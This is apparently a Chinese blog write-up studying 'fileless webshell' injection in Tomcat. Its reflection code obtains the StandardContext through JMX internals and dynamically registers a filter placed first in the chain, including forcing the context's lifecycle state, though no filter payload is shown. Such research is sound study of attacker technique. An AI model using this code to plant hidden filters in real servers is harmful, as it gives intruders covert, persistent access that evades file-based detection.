前言

最近，看到好多不错的关于“无文件Webshell”的文章，对其中利用上下文动态的注入Filter的技术做了一下简单验证，写一下测试总结，不依赖任何框架，仅想学习一下tomcat的filter。

先放几篇大佬的文章：

Filter介绍

详细介绍略，简单记录一下我的理解：

过滤器（Filter）：用来对指定的URL进行过滤处理，类似.net core里的中间件，例如登录验证过滤器可以用来限制资源的未授权访问；
过滤链（FilterChain）：通过URL匹配动态将所有符合URL规则的过滤器共同组成一个过滤链，顺序有先后，类似.net core的管道，不过区别在于过滤链是单向的，管道是双向；

同Servlet，一般Filter的配置方式：

web.xml
@WebFilter修饰

Filter注册调用流程

新建一个登录验证的Filter: SessionFilter.java

package com.reinject.MyFilter;

import java.io.IOException;

import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.annotation.WebFilter;
import javax.servlet.annotation.WebInitParam;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpServletResponseWrapper;

/**
 *    判断用户是否登录,未登录则退出系统
 */
@WebFilter(filterName = "SessionFilter", urlPatterns = "/*",
        initParams = {@WebInitParam(name = "logonStrings", value = "index.jsp;addFilter.jsp"),
                @WebInitParam(name = "includeStrings", value = ".jsp"),
                @WebInitParam(name = "redirectPath", value = "/index.jsp"),
                @WebInitParam(name = "disabletestfilter", value = "N")})
public class SessionFilter implements Filter {

    public FilterConfig config;

    public void destroy() {
        this.config = null;
    }

    public static boolean isContains(String container, String[] regx) {
        boolean result = false;

        for (int i = 0; i < regx.length; i++) {
            if (container.indexOf(regx[i]) != -1) {
                return true;
            }
        }
        return result;
    }

    public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException {
        HttpServletRequest hrequest = (HttpServletRequest)request;
        HttpServletResponseWrapper wrapper = new HttpServletResponseWrapper((HttpServletResponse) response);

        String logonStrings = config.getInitParameter("logonStrings");        // 登录登陆页面
        String includeStrings = config.getInitParameter("includeStrings");    // 过滤资源后缀参数
        String redirectPath = hrequest.getContextPath() + config.getInitParameter("redirectPath");// 没有登陆转向页面
        String disabletestfilter = config.getInitParameter("disabletestfilter");// 过滤器是否有效

        if (disabletestfilter.toUpperCase().equals("Y")) {    // 过滤无效
            chain.doFilter(request, response);
            return;
        }
        String[] logonList = logonStrings.split(";");
        String[] includeList = includeStrings.split(";");

        if (!this.isContains(hrequest.getRequestURI(), includeList)) {// 只对指定过滤参数后缀进行过滤
            chain.doFilter(request, response);
            return;
        }

        if (this.isContains(hrequest.getRequestURI(), logonList)) {// 对登录页面不进行过滤
            chain.doFilter(request, response);
            return;
        }

        String user = ( String ) hrequest.getSession().getAttribute("useronly");//判断用户是否登录
        if (user == null) {
            wrapper.sendRedirect(redirectPath);
            return;
        }else {
            chain.doFilter(request, response);
            return;
        }
    }

    public void init(FilterConfig filterConfig) throws ServletException {
        config = filterConfig;
    }
}

观察一个正常请求的函数栈：

_jspService:14, index_jsp (org.apache.jsp)
service:70, HttpJspBase (org.apache.jasper.runtime)
service:731, HttpServlet (javax.servlet.http)
service:439, JspServletWrapper (org.apache.jasper.servlet)
serviceJspFile:395, JspServlet (org.apache.jasper.servlet)
service:339, JspServlet (org.apache.jasper.servlet)
service:731, HttpServlet (javax.servlet.http)
internalDoFilter:303, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:52, WsFilter (org.apache.tomcat.websocket.server)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
doFilter:66, SessionFilter (com.reinject.MyFilter)
internalDoFilter:241, ApplicationFilterChain (org.apache.catalina.core)
doFilter:208, ApplicationFilterChain (org.apache.catalina.core)
invoke:218, StandardWrapperValve (org.apache.catalina.core)
invoke:122, StandardContextValve (org.apache.catalina.core)
invoke:505, AuthenticatorBase (org.apache.catalina.authenticator)
invoke:169, StandardHostValve (org.apache.catalina.core)
invoke:103, ErrorReportValve (org.apache.catalina.valves)
invoke:956, AccessLogValve (org.apache.catalina.valves)
invoke:116, StandardEngineValve (org.apache.catalina.core)
service:442, CoyoteAdapter (org.apache.catalina.connector)
process:1082, AbstractHttp11Processor (org.apache.coyote.http11)
process:623, AbstractProtocol$AbstractConnectionHandler (org.apache.coyote)
run:316, JIoEndpoint$SocketProcessor (org.apache.tomcat.util.net)
runWorker:1149, ThreadPoolExecutor (java.util.concurrent)
run:624, ThreadPoolExecutor$Worker (java.util.concurrent)
run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads)
run:748, Thread (java.lang)

找到最开始的ApplicationFilterChain位置，调用者是StandardWrapperValve的invoke，再观察invoke代码不难看出是用ApplicationFilterFactory动态生成的ApplicationFilterChain：

// Create the filter chain for this request
ApplicationFilterFactory factory =
    ApplicationFilterFactory.getInstance();
ApplicationFilterChain filterChain =
    factory.createFilterChain(request, wrapper, servlet);

createFilterChain根据xml配置动态生成一个过滤链，部分代码如下：

// Acquire the filter mappings for this Context
StandardContext context = (StandardContext) wrapper.getParent();
FilterMap filterMaps[] = context.findFilterMaps();

// If there are no filter mappings, we are done
if ((filterMaps == null) || (filterMaps.length == 0))
    return (filterChain);

// Acquire the information we will need to match filter mappings
String servletName = wrapper.getName();

// Add the relevant path-mapped filters to this filter chain
for (int i = 0; i < filterMaps.length; i++) {
    if (!matchDispatcher(filterMaps[i] ,dispatcher)) {
        continue;
    }
    if (!matchFiltersURL(filterMaps[i], requestPath))
        continue;
    ApplicationFilterConfig filterConfig = (ApplicationFilterConfig)
        context.findFilterConfig(filterMaps[i].getFilterName());
    if (filterConfig == null) {
        // FIXME - log configuration problem
        continue;
    }
    boolean isCometFilter = false;
    if (comet) {
        try {
            isCometFilter = filterConfig.getFilter() instanceof CometFilter;
        } catch (Exception e) {
            // Note: The try catch is there because getFilter has a lot of 
            // declared exceptions. However, the filter is allocated much
            // earlier
            Throwable t = ExceptionUtils.unwrapInvocationTargetException(e);
            ExceptionUtils.handleThrowable(t);
        }
        if (isCometFilter) {
            filterChain.addFilter(filterConfig);
        }
    } else {
        filterChain.addFilter(filterConfig);
    }
}

所有的filter可以通过context.findFilterMaps()方法获取，FilterMap结构如下：

FilterMap中存放了所有filter相关的信息包括filterName和urlPattern。

有了这些之后，使用matchFiltersURL函数将每个filter和当前URL进行匹配，匹配成功的通过context.findFilterConfig获取filterConfig，filterConfig结构如下：

之后将filterConfig添加到filterChain中，最后回到StandardWrapperValve中调用doFilter进入过滤阶段。

这个图（@宽字节安全）能够很清晰的看到整个filter流程：

通过上面的流程，可知所有的filter信息都是从context（StandardContext）获取到的，所以假如可以获取到这个context就可以通过反射的方式修改filterMap和filterConfig从而达到动态注册filter的目的。

获取context

打开jconsole，获取tomcat的Mbean:

感觉其中好多地方都可以获取到context，比如RequestProcessor、Resource、ProtocolHandler、WebappClassLoader、Value。

Value获取

代码：

MBeanServer mBeanServer = Registry.getRegistry(null, null).getMBeanServer();
// 获取mbsInterceptor
Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object mbsInterceptor = field.get(mBeanServer);
// 获取repository
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
Object repository = field.get(mbsInterceptor);
// 获取domainTb
field = Class.forName("com.sun.jmx.mbeanserver.Repository").getDeclaredField("domainTb");
field.setAccessible(true);
HashMap<String, Map<String, NamedObject>> domainTb = (HashMap<String,Map<String,NamedObject>>)field.get(repository);
// 获取domain
NamedObject nonLoginAuthenticator = domainTb.get("Catalina").get("context=/,host=localhost,name=NonLoginAuthenticator,type=Valve");
field = Class.forName("com.sun.jmx.mbeanserver.NamedObject").getDeclaredField("object");
field.setAccessible(true);
Object object = field.get(nonLoginAuthenticator);
// 获取resource
field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
Object resource = field.get(object);
// 获取context
field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
field.setAccessible(true);
StandardContext standardContext = (StandardContext) field.get(resource);

反射弧：mBeanServer->mbsInterceptor->repository->domainTb->nonLoginAuthenticator->resource->context。

通过StandardContext注册filter

通过filter流程分析可知，注册filter需要两步：

修改filterConfigs；
将filter插到filterMaps的0位置；

在此之前，先看一下我们比较关心的context中三个成员变量：

filterConfigs：filterConfig的数组
filterRefs：filterRef的数组
filterMaps：filterMap的数组

filterConfig的结构之前看过，filterConfig.filterRef实际和context.filterRef指向的地址一样：

Expression: ((StandardContext) context).filterConfigs.get("SessionFilter").filterDef == ((StandardContext) context).filterDefs.get("SessionFilter");

从StandardContext类的方法看，可以调用StandardContext.addFilterDef()修改filterRefs，然后调用StandardContext.filterStart()函数会自动根据filterDefs重新生成filterConfigs：

filterConfigs.clear();
for (Entry<String, FilterDef> entry : filterDefs.entrySet()) {
    String name = entry.getKey();
    if (getLogger().isDebugEnabled())
        getLogger().debug(" Starting filter '" + name + "'");
    ApplicationFilterConfig filterConfig = null;
    try {
        filterConfig =
            new ApplicationFilterConfig(this, entry.getValue());
        filterConfigs.put(name, filterConfig);
    } catch (Throwable t) {
        t = ExceptionUtils.unwrapInvocationTargetException(t);
        ExceptionUtils.handleThrowable(t);
        getLogger().error
            (sm.getString("standardContext.filterStart", name), t);
        ok = false;
    }
}

综上，修改filterRefs和filterConfigs的代码如下：

// Gen filterDef
filterDef = new FilterDef();
filterDef.setFilterName(filterName);
filterDef.setFilterClass(filter.getClass().getName());
filterDef.setFilter(filter);
// Add filterDef
context.addFilterDef(filterDef);
// Refresh filterConfigs
context.filterStart();

改filterMaps就简单了，添加上去改一下顺序加到0位置：

// filterMap
filterMap.setFilterName(filterName);
filterMap.setDispatcher(String.valueOf(DispatcherType.REQUEST));
filterMap.addURLPattern(filterUrlPatern);
context.addFilterMap(filterMap);
// Order
Object[] filterMaps = context.findFilterMaps();
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++)
{
    FilterMap f = (FilterMap) filterMaps[i];
    if (f.getFilterName().equalsIgnoreCase(filterName)) {
        tmpFilterMaps[0] = f;
    } else {
        tmpFilterMaps[index++] = f;
    }
}
for (int i = 0; i < filterMaps.length; i++) {
    filterMaps[i] = tmpFilterMaps[i];
}

通过ApplicationContext注册filter

多次调试发现有多处context，上面一直用的都是StandardContext，观察该结构发现还有一个私有变量context，类型为ApplicationContext，通过他的定义发现其实就是一个ServletContext：

public class ApplicationContext implements ServletContext {
}

该结构中也有一些filter操作的方法：

public Map<String, ? extends FilterRegistration> getFilterRegistrations() {}
public FilterRegistration getFilterRegistration(String filterName) {}
public FilterRegistration.Dynamic addFilter(String filterName, Filter filter) {}

这三个函数返回值都是FilterRegistration，看一下结构：

public class ApplicationFilterRegistration implements FilterRegistration.Dynamic {
    public void addMappingForServletNames(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... servletNames) {}
    public void addMappingForUrlPatterns(EnumSet<DispatcherType> dispatcherTypes, boolean isMatchAfter, String... urlPatterns) {}
    public Collection<String> getServletNameMappings() {}
    public Collection<String> getUrlPatternMappings() {}
    public String getClassName() {}
    public String getInitParameter(String name) {}
    public Map<String, String> getInitParameters() {}
    public String getName() {}
    public boolean setInitParameter(String name, String value) {}
    public Set<String> setInitParameters(Map<String, String> initParameters) {}
    public void setAsyncSupported(boolean asyncSupported) {}
}

很明显打包了一些常用的注册Filter的函数，所以可以使用ApplicationContext和FilterRegistration进行注册，测试代码如下：

// Define
ApplicationContext applicationContext = new ApplicationContext(standardContext);
Filter filter = new TestApplicationContextAddFilter();
// Registe Filter
FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter(filterName, filter);
// Create Map for urlPattern
filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{urlPatern});
// Order
Object[] filterMaps = standardContext.findFilterMaps();
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++)
{
    FilterMap f = (FilterMap) filterMaps[i];
    if (f.getFilterName().equalsIgnoreCase(filterName)) {
        tmpFilterMaps[0] = f;
    } else {
        tmpFilterMaps[index++] = f;
    }
}
for (int i = 0; i < filterMaps.length; i++) {
    filterMaps[i] = tmpFilterMaps[i];
}

很不幸，有IllegalStateException异常：

严重: Servlet.service() for servlet [HelloWorldServlet] in context with path [] threw exception [Servlet execution threw an exception] with root cause
java.lang.IllegalStateException: Filters can not be added to context  as the context has been initialised
	at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:1005)
	at org.apache.catalina.core.ApplicationContext.addFilter(ApplicationContext.java:970)
	at com.reinject.test.TestApplicationContextAddFilter.<clinit>(TestApplicationContextAddFilter.java:61)
	at com.reinject.MyServlet.HelloWorldServlet.doGet(HelloWorldServlet.java:50)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:624)
	at javax.servlet.http.HttpServlet.service(HttpServlet.java:731)

通过观察AddFilter报错的位置，发现是对standardContext的state校验的时候不达标抛出的异常：

if (!context.getState().equals(LifecycleState.STARTING_PREP)) {
    //TODO Spec breaking enhancement to ignore this restriction
    throw new IllegalStateException(
            sm.getString("applicationContext.addFilter.ise",
                    getContextPath()));
}

那么可以先修改一下state为LifecycleState.STARTING_PREP:

java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);

再运行正常：

不过测试发现如果state不改回来，之后访问所有页面都会503：

综上：

// Fix State
java.lang.reflect.Field stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTING_PREP);
// Define
ApplicationContext applicationContext = new ApplicationContext(standardContext);
Filter filter = new TestApplicationContextAddFilter();
// Registe Filter
FilterRegistration.Dynamic filterRegistration = applicationContext.addFilter(filterName, filter);
// Create Map for urlPattern
filterRegistration.addMappingForUrlPatterns(EnumSet.of(javax.servlet.DispatcherType.REQUEST), false, new String[]{urlPatern});
// Restore State
stateField = org.apache.catalina.util.LifecycleBase.class.getDeclaredField("state");
stateField.setAccessible(true);
stateField.set(standardContext, org.apache.catalina.LifecycleState.STARTED);
// Order
Object[] filterMaps = standardContext.findFilterMaps();
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++)
{
    FilterMap f = (FilterMap) filterMaps[i];
    if (f.getFilterName().equalsIgnoreCase(filterName)) {
        tmpFilterMaps[0] = f;
    } else {
        tmpFilterMaps[index++] = f;
    }
}
for (int i = 0; i < filterMaps.length; i++) {
    filterMaps[i] = tmpFilterMaps[i];
}